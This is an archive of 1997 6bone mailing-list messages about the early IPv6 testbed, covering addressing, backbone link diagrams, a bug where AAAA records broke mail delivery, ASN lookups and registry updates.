Cc: RLFink@lbl.gov, 6bone@ISI.EDU

> > Note that an RFC1897 format address includes the ASN (Autonomous System
> > Number) of one's provider, not an ASN that belongs to one's own site.
> > (Though a provider uses its own ASN.)
> 
> This is would make my address
> 
> 5F:  (01011111 == first 8 bits)
> 0D:  T
> E9:  +- 3561 (for MCI's ASN)
> 00:  (RES == reserved...?)
> CE:  206. \
> 9C:  156.  > our IPv4 class C subnet
> 94:  148. /
> 00:  (RES == reserved...)


Hi,
	It looks like the 0.0.9.e.d.0.f.5.ip6.int. entry is registered
	to Jim Bound of DEC.  It might be prudent to have MCI clarify
	is delegation procedures for these test address blocks.

	Jim?

-- 
--bill


From majordom@ISI.EDU  Mon Apr 28 18:19:24 1997
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From: Sergio Ricardo Ferreira Macedo <macedo@ravel.ufrj.br>
Message-Id: <199704290019.VAA26721@protheus.ravel.ufrj.br>
Subject: 6bone mailing list on Brasil
To: 6bone@isi.edu
Date: Mon, 28 Apr 1997 21:19:24 -0300 (EST)
X-Mailer: ELM [version 2.4ME+ PL25 (25)]
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		ANNOUNCING 6BONE-BR MAILING LIST.

	We're begining to build a IPv6 backbone on Brazil and setting
it up for future connection with the 6bone. For discussing this matters
we started up a mailing list at the High Speed Networks Laboratory at
UFRJ.

	The brazilian subscribers of the 6bone mailing list are invited
to subscribe the 6bone-br mailing list by sending mail to:

	majordomo@ravel.ufrj.br

without subject and with the following content (I know it's well known
information, but...) :

	subscribe 6bone-br yourusername@your.address

	Thanks for you attention.

			Sergio Macedo <macedo@ravel.ufrj.br>

From majordom@ISI.EDU  Mon Apr 28 11:47:53 1997
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Date: Mon, 28 Apr 1997 18:47:53 -0700
To: Hsin Fang <fang@snad.ncsl.nist.gov>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: 6Bone meeting follow up
Cc: 6bone@isi.edu (6BONE Mailer)
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Hsin,

At 2:43 PM -0700 4/28/97, Hsin Fang wrote:
>Hi Bob:
>
>Several people approached me after 6Bone meeting to show their interest
>in "virtual provider based address" scheme. I would like to hear your opinion
>for whether should I write a quick draft.  Thanks.
>
>Regards,
>Hsin

As you probably saw in my 6bone action items list from Memphis, I had hoped
to elicit comments over the mail list on your proposal (aee A2 below).

I am basically enthusiastic about your proposal.  My only hesitition was
that we should be moving to a new "aggregation-based" test address format
based on the Memphis IPng WG meeting (as soon as Bob Hinden writes up the
draft).  This does exactly what you propose, just in the new format under
the 6bone test allocation.

Thus my question is, is it worth trying to go through renumbering under the
current format (reworked per your proposal) and then go through it again
with the new test address?


However, there may be issues (e.g., conversion to EUI-64 for host id) that
may slow down the move to the new format, thus making it more reasonable to
do your change for the interim.


I'll copy this to the list in the hopes of getting some broader-based
conversation on it.


Thanks for bringing it up...and thanks for the ideas and presentation in
Memphis.

Bob


====
Date: Sun, 13 Apr 1997 15:00:32 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: 6bone action items per Memphis IETF meeting
Sender: owner-6bone@ISI.EDU
Precedence: bulk

6bone folk,

The Memphis IETF was a very productive one for IPv6 and the 6bone.  We will
soon have a new Aggregation-Based Unicast Addressing Structure from the
IPng WG, using the 64-bit EUI-64, which will certainly have direct
implications for all developers and the 6bone.  We also had a very
successful conclusion to the Mike O'Dell 8+8/GSE proposals leaving us with
definite directions on many issues.

On the latter score (analysis of the GSE proposal) I strongly recommend
that everyone read the Internet Draft by
Crawford/Mankin/Narten/Stewart/Zhang that is available as
draft-ipngwg-esd-analysis-00.txt.

As for details of the above mentioned IPng WG actions, you will have to
wait for their minutes.


As for the 6bone WG meeting, we had many presentations on numerous items of
great importance for us.  I have outlined below what I think are the
primary action items resulting from the meeting.

Please comment on them to the mailer.  If I have left something out, or
misrepresented an issue, please let me know so I may correct the list as
soon as possible.


Thanks,

Bob

=================================================================

A1. Discussion of Allison Mankin's proposal to use the CAIRN Backbone as a
native IPv6 transport backbone (among other things) for the 6bone.

A2. Discussion of Hsin Fang's proposal to modify RFC1987 to use a virtual
IPv6 provider ID instead of ASN for addressing in the 6bone.

A3. Discussion of Bob Fink's proposal to follow the new Aggregation-Based
Unicast Addressing Structure (when it is published as an Internet Draft) as
the basis for a new addressing architecture for the 6bone, and the basis to
start renumbering experiments.

A4. Discussion of David Meyer's Internet Draft on "Representing IPv6
Tunnels in RPSL" so it may be included in the RPSL design at the RPS WG.

A5. Discussion of David Kessens' new 6BONE registry, whether to switch to
it, and if so, when.

A6. Discussion of Bill Manning's ideas on using DNS for localized 6bone
routing registry information.

A7. Volunteers to help Bob Fink with an Internet Draft on requirements for
new 6bone infrastructure.

A8. Performa a survey of host and router implementations in use on the
6bone, so the information may be made available through the 6bone web pages.

- end



From majordom@ISI.EDU  Mon Apr 28 11:53:54 1997
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Date: Mon, 28 Apr 1997 18:53:54 -0700
To: Anders Fernstedt <anders@research.att.com>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: CAIRN & IPv6
Cc: Allison Mankin <mankin@metro.isi.edu>, 6bone@isi.edu (6BONE Mailer)
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Anders,

At 1:21 PM -0700 4/28/97, Anders Fernstedt wrote:
>Bob,
>
>Could you give me a quick brief of CAIRNs commitment/involvement in the
>6bone. I missed the Memphis meeting, where I think Allison gave some form of
>briefing...

No more than was in the minutes (see below).  I would like Allison to
provide more information so we can all see what the real plans might/could
be.

I'll copy here on this to let her have the chance to put out something out
to the mailer.


>PS Are there any real-time trials planned to your knowledge?

How do you mean this:  real-time systems or testing in real-time?


Thanks,

Bob

----------------from the 6bone WG minutes:

--------------------------------------------------------------------
2. CAIRN Backbone / Allison Mankin
--------------------------------------------------------------------

Allison Mankin presented her ideas for a native IPv6 backbone using the
CAIRN research backbone network.

- High bandwidth backbone for research, etc. (U.S. federal funding)

- A diagram of the CAIRN topology was shown:
    + connectivity ranges from DS-3 to full OC-3.
    + several current v6 sites are CAIRN sites (ISI, LBL...)
    + each site has a PC/FreeBSD router and/or an Ascend GRL w/v6 support

- Proposed possibilities for the backbone included:
    + Transit bandwidth service with native IPv6 unicast
    + Native IPv6 multicast path
    + V6 peering/exchange points
    + Experimental clearinghouse
    + Software distribution center

Jim Bound commented that it was important for CAIRN's IPv6 implementation to
use UNH interop lab/events to make sure there is proper interoperability
before
direct connectivity is attempted.  Allison expressed her desire to join in
the UNH testing.

Further discussion was deferred to the mail list.

-end



From majordom@ISI.EDU  Mon Apr 28 22:25:46 1997
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Message-Id: <199704291225.FAA01523@kohala.kohala.com>
From: rstevens@kohala.com (W. Richard Stevens)
Date: Tue, 29 Apr 1997 05:25:46 -0700
Reply-To: "W. Richard Stevens" <rstevens@kohala.com>
X-Phone: +1 520 297 9416
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X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96)
To: 6bone@ISI.EDU
Subject: MX/AAAA problems
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I have been having intermittent email problems for the past months
that I have finally tracked down.  Most hosts could send email to my
kohala.com domain without a problem, but a few had continual problems.

I have finally tracked the problem down to an MX record that points to
a host with a AAAA record.  The MX record was the one with a higher
preference, and it was never used, but just the presence of a AAAA
record for that host causes some mailers/nameservers to gag (and say
the domain is unresolvable).  The AAAA record was being returned by
my nameserver as additional records for either an ANY query or an MX
query.  mcimail.com and mail12.digital.com are two of the servers
that could not send me email.

This is just a warning to others on the 6bone to avoid this problem.
I know many sites are placing all the AAAA records into a separate
.ipv6 subdomain, which solves the problem (or at least makes it a
local problem), but at some point more of these AAAA records that
older servers cannot grok are going to filter up.

	Rich Stevens
I have been having intermittent email problems for the past months
that I have finally tracked down.  Most hosts could send email to my
kohala.com domain without a problem, but a few had continual problems.

I have finally tracked the problem down to an MX record that points to
a host with a AAAA record.  The MX record was the one with a higher
preference, and it was never used, but just the presence of a AAAA
record for that host causes some mailers/nameservers to gag (and say
the domain is unresolvable).  The AAAA record was being returned by
my nameserver as additional records for either an ANY query or an MX
query.  mcimail.com and mail12.digital.com are two of the servers
that could not send me email.

This is just a warning to others on the 6bone to avoid this problem.
I know many sites are placing all the AAAA records into a separate
.ipv6 subdomain, which solves the problem (or at least makes it a
local problem), but at some point more of these AAAA records that
older servers cannot grok are going to filter up.

	Rich Stevens

From majordom@ISI.EDU  Tue Apr 29 00:19:05 1997
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Date: Tue, 29 Apr 1997 07:19:05 -0700
To: Jarius Jenkins <jarius@iac.co.jp>, 6bone@ISI.EDU
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Jarius,

At 8:45 PM -0700 4/21/97, Jarius Jenkins wrote:
>Hello,
>	I am looking to attach a couple of machines to the 6bone. Right
>now I have 1 Linux machine, 1 Sparc/Solaris, and 1 Windows95 Machine. I
>work for an Internet Service Provider in Japan, and have contacted WIDE
>about a connection. They informed me that theirs is for research only, and
>wanted to know what research I could provide them with. At this point, I
>have no specific "research" under which to connect to them... In the
>future we will be looking into integrating this with our customer base
>(obviously a while off now), but for now I am just trying to get things
>set up.
>	I have the information for my systems now, but we will be swithing
>from our current connection of 1 64k lan connection, and 1 128k connection
>to two 128k connections (obtaining new IP addresses and probably with
>different ASN's from the current connections). As for the future, we are
>connected through two of Japan's giants in telecommunications, and have
>greater than 15Mbps bandwidth to our servers, but those are offsite, and
>will only obtain IPV6 connections after they have been tested inhouse, and
>have been proven to work.

Sorry to be so slow in getting a response to you.

At the current time the 6bone isn't a production network, it is a testing
network (see below).  We certainly hope there will be a time when it turns
into a real production network, but that is still in the future.

Until that point in time the only thing you could do was try it out, learn
from it and feedback into the product development and IETF community what
you learn.

In that context any 6bone backbone site should be willing to let you have a
tunnel to them as it should be in line with their mission on the 6bone as
well.

Having said that, I appreciate that any given site might choose to try some
real production application use (i.e. not testing in the 6bone definition)
that could give a 6bone backbone or transit site difficulty with
appropriate use.  This is a hard situation to actually define (i.e., where
it cannot be construed as IPv6 testing in some fashion), but I think we
need to admit that it will happen.

Thus I believe that in this (real production) case it is incumbent on the
user to:  (1) find a way to tunnel so that their IPv4 connectivity would
route their traffic in a way compatible with their existing appropriate use
agreements for production use; (2) let the 6bone participants know so there
can be an agreement as to how to characterize the use, and what to do (use
the 6bone as is or (1) above).


Reading what you say above, I suspect you would characterize your 6bone
usage as testing of IPv6, not production.  Then you should have no trouble
convincing any 6bone backbone or transit site, including WIDE for example,
to give you a "connection".


Though I'm sure my response to you here will generate some comment, I am
very glad you inadvertently brought it up as you are certainly not the only
site that will find yourself in the situation of wanting to move from
testing over the 6bone to finding real IPv6 Internet connectivity.  We all
hope that the 6bone will turn from one to the other as appropriate.


Thanks,

Bob

==========================================================================
Draft 6bone Charter as presented at the BOF

The 6bone Working Group is a forum for information concerning the
deployment, engineering, and operation of ipv6 protocols and procedures
in the global Internet. This activity will include, but not be limited to:

- Deployment of ipv6 transport and routing in the global Internet via a
"6bone" testbed to assist in the following.

- Creation of "practice and experience" informational RFC documents that
capture the experiences of those who have deployed, and are deploying,
various ipv6 technologies.

- Feedback to various IETF ipv6-related activities, based on testbed
experience, where appropriate.

- Development of mechanisms and procedures to aid in the transition to
native ipv6, where appropriate.

- Development of mechanisms and procedures for sharing operational
information to aid in operation of global ipv6 routing.

-end



From majordom@ISI.EDU  Tue Apr 29 00:31:50 1997
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Date: Tue, 29 Apr 1997 07:31:50 -0700
To: Horst von Brand <vonbrand@inf.utfsm.cl>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: I'd like to connect to the 6bone...
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At 2:34 PM -0700 4/25/97, Horst von Brand wrote:
>And I need some kind of step-by-step instructions for doing this.  Note
>that I'm far off any place, and there is no local expertise/help to be
>had.  Any URLs or other pointers?

Not for the faint of heart without some technical help.  What is your
machine environment (type of unix, or Windows or...).

It may be that I can use you as a test case for getting a better writeup
online.


Thanks,

Bob



From majordom@ISI.EDU  Tue Apr 29 01:12:00 1997
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From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 68
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new 6bone diagram - version 68

	add NETHER/US to CICNET/US


Welcome to the Nether Network in Ann Arbor, Michigan USA


Bob



From majordom@ISI.EDU  Tue Apr 29 01:36:56 1997
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Date: Tue, 29 Apr 1997 08:36:56 -0700
To: "W. Richard Stevens" <rstevens@kohala.com>, 6bone@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: MX/AAAA problems
Sender: owner-6bone@ISI.EDU
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Rich,

At 5:25 AM -0700 4/29/97, W. Richard Stevens wrote:
>I have been having intermittent email problems for the past months
>that I have finally tracked down.  Most hosts could send email to my
>kohala.com domain without a problem, but a few had continual problems.
>
>I have finally tracked the problem down to an MX record that points to
>a host with a AAAA record.  The MX record was the one with a higher
>preference, and it was never used, but just the presence of a AAAA
>record for that host causes some mailers/nameservers to gag (and say
>the domain is unresolvable).  The AAAA record was being returned by
>my nameserver as additional records for either an ANY query or an MX
>query.  mcimail.com and mail12.digital.com are two of the servers
>that could not send me email.
>
>This is just a warning to others on the 6bone to avoid this problem.
>I know many sites are placing all the AAAA records into a separate
>.ipv6 subdomain, which solves the problem (or at least makes it a
>local problem), but at some point more of these AAAA records that
>older servers cannot grok are going to filter up.

Thanks for the explanation.  Does anyone have a clue as to the pathology of
the failure in dns code (or wherever) so we can blow a whistle on this
quick?


Bob



From majordom@ISI.EDU  Tue Apr 29 02:07:55 1997
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Date: Tue, 29 Apr 1997 09:07:55 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone links diagram - version 11
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new 6bone backbone links diagram - version 11

	added in SURNET/NL links

	added ESNET/US to NWNET/US link

	changed IDRPv6 color to green (couldn't use my red pen on the map :-)

	added BGP4+ legend


Any BGP4+ links yet??

Anyone notice any missing links I should fix?


Thanks,

Bob



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        "Re: MX/AAAA problems" (Apr 29,  8:36am)
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On Apr 29,  8:36am, Bob Fink wrote:
> Subject: Re: MX/AAAA problems
> Thanks for the explanation.  Does anyone have a clue as to the pathology of
> the failure in dns code (or wherever) so we can blow a whistle on this
> quick?

>From what we have seen, some DNS server are really picky. When they
see unusual RR, they think the entry is either tainted or invalid.
Some old secondary servers seeing AAAA records think the whole zone
is invalid and refuse to tranfer it.
That's the main reason why we choose to use a separate subdomain ipv6.foo.tld
to store AAAA records.

But then, there is another problem. How do you choose the outgoing E-mail
address if you use the ipv6.foo.tld subdomain ? Should it be
user@host.foo.tld or user@host.ipv6.foo.tld ?

If you choose user@host.foo.tld, relpies will not use IPv6 but IPv4 instead.
If you use user@host.ipv6.foo.tl and the mail is relayed later to an IPv4 MTA
then, you end up with the same problem, this host may crash when it sees
a AAAA record. :-(

The ipv6 subdomain trick is only a short term patch. Hopefully people
will upgrade to more recent releases of bind soon enough.

	- Alain.


From majordom@ISI.EDU  Tue Apr 29 10:04:02 1997
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Date: Tue, 29 Apr 1997 14:04:02 -0400
From: Mark Komarinski <enry@wayga.ratatosk.org>
Message-Id: <199704291804.OAA06990@wayga.ratatosk.org>
To: 6bone@isi.edu
Subject: Want to find ASN
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Okay.  I'm about ready to punt.  How can I find an ASN around me?  We're
in the boston area going thru Alter.Net, but I can't seen to find anything
relating to either Alternet or UUnet.  Anyone have some hints?

-Mark

From majordom@ISI.EDU  Tue Apr 29 05:18:51 1997
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To: Mark Komarinski <enry@wayga.ratatosk.org>
Cc: 6bone@isi.edu
Subject: Re: Want to find ASN 
In-Reply-To: Your message of Tue, 29 Apr 97 14:04:02 -0400.
             <199704291804.OAA06990@wayga.ratatosk.org> 
Date: Tue, 29 Apr 97 12:18:51 -0700
From: Stephen Stuart <stuart@pa.dec.com>
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> Okay.  I'm about ready to punt.  How can I find an ASN around me?  We're
> in the boston area going thru Alter.Net, but I can't seen to find anything
> relating to either Alternet or UUnet.  Anyone have some hints?

Assuming that the address whose origin ASN you want is in
208.197.0.0/12 (I looked up wayga.ratatosk.org and used
208.197.103.125 for this example):

% whois -h whois.ra.net 208.197.103.125
route:       208.192.0.0/12
descr:       UUNET Technologies
descr:       3060 Williams Drive
descr:       Fairfax
descr:       VA 22031, USA
origin:      AS701
comm-list:   COMM_NSFNET
advisory:    AS690 1:701
mnt-by:      MAINT-AS701
changed:     knight@uu.net 961004
source:      RADB

The origin ASN for your address is 701.

Stephen

From majordom@ISI.EDU  Tue Apr 29 11:19:26 1997
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Date: Tue, 29 Apr 1997 16:19:26 -0500
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: MX/AAAA problems
In-Reply-To: "29 Apr 1997 18:53:05 +0200." <"970429185305.ZM15384"@rama.imag.fr>
To: Alain Durand <Alain.Durand@imag.fr>
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> On Apr 29,  8:36am, Bob Fink wrote:
> > Thanks for the explanation.  Does anyone have a clue as to the pathology of
> > the failure in dns code (or wherever) so we can blow a whistle on this
> > quick?

I didn't find anything wrong in a current sendmail source.  And my
desktop has had a AAAA RR for quite some time now, without a special
sub-zone to hold it.

> Some old secondary servers seeing AAAA records think the whole zone
> is invalid and refuse to tranfer it.

And the last time I delved into bind, the named-xfer program that did
a zone transfer for a secondary server created a text-format file, so
it couldn't accept any new RR type it didn't know about.  Ugh.  I
hope that's been fixed.

> The ipv6 subdomain trick is only a short term patch. Hopefully people
> will upgrade to more recent releases of bind soon enough.

And running into these problems is success for the 6bone, not failure.

				Matt


From majordom@ISI.EDU  Tue Apr 29 08:35:05 1997
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Date: Tue, 29 Apr 1997 15:35:05 -0700
To: Mark Komarinski <enry@wayga.ratatosk.org>, 6bone@isi.edu
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Want to find ASN
Sender: owner-6bone@ISI.EDU
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At 11:04 AM -0700 4/29/97, Mark Komarinski wrote:
>Okay.  I'm about ready to punt.  How can I find an ASN around me?  We're
>in the boston area going thru Alter.Net, but I can't seen to find anything
>relating to either Alternet or UUnet.  Anyone have some hints?

The ASN you need to use is the ASN of the place in the backbone providing
you with 6bone service so we can simulate at least reasonable route
aggregation.

So first you should pick a point for 6bone tunnelling as close to your v4
connectivity as "reasonably" possible.

At the moment, UUNET in the US doesn't have a 6bone setup yet (tho Mike
O'Dell says they may soon be able to become a 6bone backbone site).

Thus I would suggest BAY/US (in Billerica, Msss.) until UUNET is up:

	contact:        Wenken Ling <wling@baynetworks.com>
	contact:        Dimitry Haskin <dhaskin@baynetworks.com>

Once you get them to agree to home you, then you would use their ASN.


Thanks,

Bob



From majordom@ISI.EDU  Wed Apr 30 02:22:04 1997
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Date: Wed, 30 Apr 1997 01:22:04 +0100 (BST)
From: Guy Davies <guyd@uunet.pipex.com>
To: Mark Komarinski <enry@wayga.ratatosk.org>
Cc: 6bone@isi.edu
Subject: Re: Want to find ASN
In-Reply-To: <199704291804.OAA06990@wayga.ratatosk.org>
Message-Id: <Pine.GSO.3.95q.970430011513.15787A-100000@swannee.uunet.pipex.com>
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Hi Mark,

UUNET/UK have a 6bone router to which you can connect.  However, this may
not be the best option as all your US to US traffic would traverse the
Atlantic twice :-(  I would suggest you look at the 6bone backbone sites
(http://www-cnr.lbl.gov/6bone/6bone-drawing.html is a good point from
which to check the details of the sites) and traceroute to each.  The one
with the best IPv4 connectivity should be your first choice.

Regards,

Guy

On Tue, 29 Apr 1997, Mark Komarinski wrote:

> Okay.  I'm about ready to punt.  How can I find an ASN around me?  We're
> in the boston area going thru Alter.Net, but I can't seen to find anything
> relating to either Alternet or UUnet.  Anyone have some hints?
> 
> -Mark
> 


From majordom@ISI.EDU  Wed Apr 30 00:32:19 1997
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Date: Wed, 30 Apr 1997 07:32:19 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: 6bone Tshirt 2nd order mailings started
Sender: owner-6bone@ISI.EDU
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Status: RO

Sorry to be so slow on mailing the Tshirts.  This morning the first batch
of 6bone Tshirts for the 2nd (and final) order went out.

PLEASE DON'T EMAIL ME ASKING ABOUT YOUR ORDER...IT WILL BE MAILED DURING
THE NEXT 5 DAYS (PROVIDING YOU WERE ON MY LIST OF COURSE :-)

To date the following have been mailed:


================================================================================

Ames, Kurt	1 XL	address on file
Asayesh, Hamid	1 XXL	address on file
Banerjee, Partha	2 L	address on file
Bassham, Larry	1 L	address on file, prepaid
Batie, Alan	1 XL	address on file
Behrle, Jeremy	1 XXL	address on file
Blanchet, Marc	4 L	address on file
Boggs, Adam	1 XL	address on file
Boneparth, David	1 XL	aaddress on file
Bortzmeyer, Stephane	1 XL	address on file
Bourgeois, Judd	1 XL	address on file
Burson, Jeff	1 XL	address on file
Chavez, Paul	1 XL	address on file
Cully, Brian	1 XL	address on file
Desrosiers, Luc	1 XL	address on file
Dewell, Aaron	1 L, 1 XL	address on file
Fenwick, Wynn	1 XL, 1 XXL	address on file
Hankins, Greg	1 M	address on file
Harrison, Jeff	1 XL	address on file
Hoag, Andrew	1 XXL	address on file
Homelien, Oystein	1 L, 1 XL	address on file
Jin, Bih-Huang	1 L	address on file
King, Paul	2 XXL	address on file
Kyriannis, Jimmy	1 L, 1 XL	address on file
Lee, Chongeun	1 M	address on file
Lekashman, John	2 S, 1 XL, 1 XXL	address on file
Lerperger, Michael	1 XL	address on file
Levenberg, Richard	2 L	address on file
Lewis, David	1 XXL	address on file
Markov, Igor	1 M	address on file
Marlowe, Matthew	2 XL	address on file
Martin, David	1 L	address on file
Metz, Craig	1 L	address on file, prepaid
Narayan, Vishy	1 M, 1 L	address on file
Peachey, Alex	2 L, 1 XL	address on file
Shah, Sameer	1 XL	address on file                 ******addon
Stewart, John	1 XL	address on file
Sullivan, Don	1 M	address on file
Tannenbaum, Andrew	1 XL	address on file
Tate, Mike	1 XL	address on file
Thompson, Jim	1 M, 1 L	address on file
Virgilio, Vincenzo 	2 XL, 1 L	address on file
Whalen, Matthew	1 L	address on file
Yang, Eric	1 M	address on file

================================================================================

Please send NO checks/money until after you have received your Tshirt(s) in
the mail.  The cost is still $10 per Tshirt including mailing anywhere.

When you do send a check (only upon receipt of Thsirts) please make it out
to Robert L. Fink and mail to:

	Robert L. Fink
	3085 Buena Vista Way
	Berkeley, CA  94708
	USA

================================================================================



From majordom@ISI.EDU  Wed Apr 30 01:37:16 1997
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Date: Wed, 30 Apr 1997 08:37:16 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone links diagram - version 12
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new 6bone backbone links diagram - version 12

	change peering to BGP4+ for:

		UUNET/UK to CICNET/US
		UUNET/UK to CISCO/US
		CISCO/US to CICNET/US

Congratulations on the first BGP IPv6 peerings!


Please keep me informed as these BGP peering occur so I can get them on the
diagram...we need the impetus on this one!


Thanks,

Bob


http://www-6bone.lbl.gov/6bone/6bone-bblinks.html



From majordom@ISI.EDU  Wed Apr 30 01:34:01 1997
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Date: Wed, 30 Apr 1997 08:34:01 -0700
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From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 69
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new 6bone diagram - version 69

	add WUSTL/US to CICNET/US

http://www-6bone.lbl.gov/6bone/6bone-drawing.html


Welcome to Washington University in St. Louis, Missouri, USA.


Thanks,

Bob



From majordom@ISI.EDU  Wed Apr 30 10:50:00 1997
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To: 6bone@ISI.EDU
Cc: jyy@ans.net
Subject: Loop ...
Date: Wed, 30 Apr 1997 14:50:00 -0400
From: Jessica Yu <jyy@ans.net>
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6bone.wtn.ans.net#traceroute ipv6 5F0D:E900:80DF:DE00:0001:0060:3E0B:3008
 
Type escape sequence to abort.
Tracing the route to 5F0D:E900:80DF:DE00:1:60:3E0B:3008
 
  1 5F02:3000:C020:AE00:201D::1 68 msec 64 msec 76 msec
  2 5F07:2B00:82E1:E700:5:3333:3333:3333 224 msec *  * 
  3 5F04:FB00:80B0::BF42:C0:3302:14 444 msec *  232 msec
  4 5F06:B500:8158:1A00::800:2BB9:F33D 356 msec 356 msec 352 msec
  5 5F07:2B00:82E1:E700:5:3333:3333:3333 340 msec *  296 msec
  6 5F04:FB00:80B0::BF42:C0:3302:14 348 msec *  368 msec
  7 5F06:B500:8158:1A00::800:2BB9:F33D 372 msec 408 msec 392 msec
  8 5F07:2B00:82E1:E700:5:3333:3333:3333 392 msec *  588 msec
  9 5F04:FB00:80B0::BF42:C0:3302:14 416 msec *  400 msec
 10 5F06:B500:8158:1A00::800:2BB9:F33D 500 msec 496 msec 432 msec
 11 5F07:2B00:82E1:E700:5:3333:3333:3333 500 msec 568 msec * 
 12 5F04:FB00:80B0::BF42:C0:3302:14 524 msec 524 msec 508 msec
 13 5F06:B500:8158:1A00::800:2BB9:F33D 604 msec 688 msec 788 msec
 14 5F07:2B00:82E1:E700:5:3333:3333:3333 716 msec 616 msec 576 msec
 ..............


							--Jessica

From majordom@ISI.EDU  Wed Apr 30 07:54:27 1997
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Date: Wed, 30 Apr 1997 17:54:29 -0400
From: dhaskin@baynetworks.com (Dimitry Haskin)
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Hi,

I've updated the Bay's registry record with new tunnels:
   tunnel:		192.32.29.62 130.88.12.119 UMAN, UK, RIPng
   tunnel:		192.32.29.62 192.87.106.15 SURFnet, Netherlands, RIPng
   tunnel:		192.32.29.62 204.148.62.66 ANS, USA, RIPng


We've also started route filtering. In the most cases when a number of more
specific routes are advertised to us along with an aggregate, more
specific routes are ignored.  Let's know if there is any problem.

Example before filtering:

                 Prefix                      Protocol  Intf.     Metric
------------------------------------------- ---------- ------- ----------
5F00:3100::0000/32                          RIPv6      20          2
5F00:3100::0000/32                          RIPv6      12          2
5F00:3100::0000/32                          RIPv6      4           3
5F00:3100:8106:3300::0000/80                RIPv6      12          2
5F00:3100:8106:3E00::0000/80                RIPv6      4           4
5F00:3100:8106:E000::0000/80                RIPv6      4           4
5F00:3100:8106:E100::0000/80                RIPv6      4           4

After filtering

                 Prefix                      Protocol  Intf.     Metric
------------------------------------------- ---------- ------- ----------
5F00:3100::0000/32                          RIPv6      20          2
5F00:3100::0000/32                          RIPv6      12          2
5F00:3100::0000/32                          RIPv6      4           3


Thanks,
  Dimitry

From majordom@ISI.EDU  Wed Apr 30 07:48:44 1997
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	for <6bone@isi.edu>
Date: Wed, 30 Apr 1997 17:48:45 -0400
From: dhaskin@baynetworks.com (Dimitry Haskin)
Message-Id: <199704302148.RAA26066@pobox.engeast.BayNetworks.COM>
To: 6bone@isi.edu
Subject: updated BAY record
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Hi,

I've updated the Bay's registry record with new tunnels:
   tunnel:		192.32.29.62 130.88.12.119 UMAN, UK, RIPng
   tunnel:		192.32.29.62 192.87.106.15 SURFnet, Netherlands, RIPng
   tunnel:		192.32.29.62 204.148.62.66 ANS, USA, RIPng


We've also started route filtering. In the most cases when a number of more
specific routes are advertised to us along with an aggregate, more
specific routes are ignored.  Let's know if there is any problem.

Example before filtering:

                 Prefix                      Protocol  Intf.     Metric
------------------------------------------- ---------- ------- ----------
5F00:3100::0000/32                          RIPv6      20          2
5F00:3100::0000/32                          RIPv6      12          2
5F00:3100::0000/32                          RIPv6      4           3
5F00:3100:8106:3300::0000/80                RIPv6      12          2
5F00:3100:8106:3E00::0000/80                RIPv6      4           4
5F00:3100:8106:E000::0000/80                RIPv6      4           4
5F00:3100:8106:E100::0000/80                RIPv6      4           4

After filtering

                 Prefix                      Protocol  Intf.     Metric
------------------------------------------- ---------- ------- ----------
5F00:3100::0000/32                          RIPv6      20          2
5F00:3100::0000/32                          RIPv6      12          2
5F00:3100::0000/32                          RIPv6      4           3


Thanks,
  Dimitry

From majordom@ISI.EDU  Fri May  2 00:58:15 1997
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Date: Fri, 2 May 1997 07:58:15 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone link diagram - version 13
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

new 6bone backbone link diagram - version 13

http://www-6bone.lbl.gov/6bone/6bone-bblinks.html

	add ANS/US
			BGP4+ links to CISCO/US and CICNET/US
			RIPng link to BAY/US

	change ESNET/US link to CISCO/US from RIPng to BGP4+


Again, a welcome to ANSNet as they join the 6bone backbone
	ANSNet Back
one POP
	Washington D.C., USA

	ftp://ftp.ripe.net/ipv6/ip6rr/ANSNET


Thanks,

Bob



From majordom@ISI.EDU  Tue May  6 14:46:17 1997
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Message-Id: <199705052046.FAA21463@shonan.sfc.wide.ad.jp>
To: 6bone@isi.edu
Cc: jun@wide.ad.jp
Subject: registry request
Date: Tue, 06 May 1997 05:46:17 +0900
From: Osamu Nakamura <osamu@sfc.wide.ad.jp>
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Dear 6bone member.

I'm working for InteropNet with Mr. Hagiwara san.
I forward following message from Mr. Hagiwara san.

Could you take care of it !

				Osamu N.

------- Forwarded Message

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Date: Tue, 06 May 1997 05:39:34 +0900
To: osamu@wide.ad.jp
From: Atsushi Hagiwara <ahagiwar@baynetworks.co.jp>
Subject: registry request
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-2022-JP"



> Date: Mon, 05 May 1997 14:08:27 +0900
> To:6bone@isi.edu
> From:Atsushi Hagiwara <ahagiwar@baynetworks.co.jp>
> Subject:registry request
> 
> Hi,
> 
> I'd like to register a prefix for the 6bone. I have visitied 6bone home page
and read "HOW-TO" then I knew I need to obtain group id and password for me to
put my object on the server. Could someone please let me know.
> 
> btw, this *is* not for the one belongs to Bay which is already registered,
instead this is for the InterOp, because InterOp has introduced V6 connectivity
for the exhibitors. I'll be in charge of V6 in the InterOp. 
> 
> # I know we are sending bogus /80 onto the 6bone...sorry...will fix soon ;-)
> 
> Thanks,
> Atsushi

------- End of Forwarded Message


From majordom@ISI.EDU  Mon May  5 10:20:43 1997
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Date: Mon, 5 May 1997 17:20:43 -0700
To: Osamu Nakamura <osamu@sfc.wide.ad.jp>, 6bone@isi.edu
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: registry request
Cc: jun@wide.ad.jp, ahagiwar@baynetworks.co.jp
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

At 1:46 PM -0700 5/5/97, Osamu Nakamura wrote:
...
>I'm working for InteropNet with Mr. Hagiwara san.
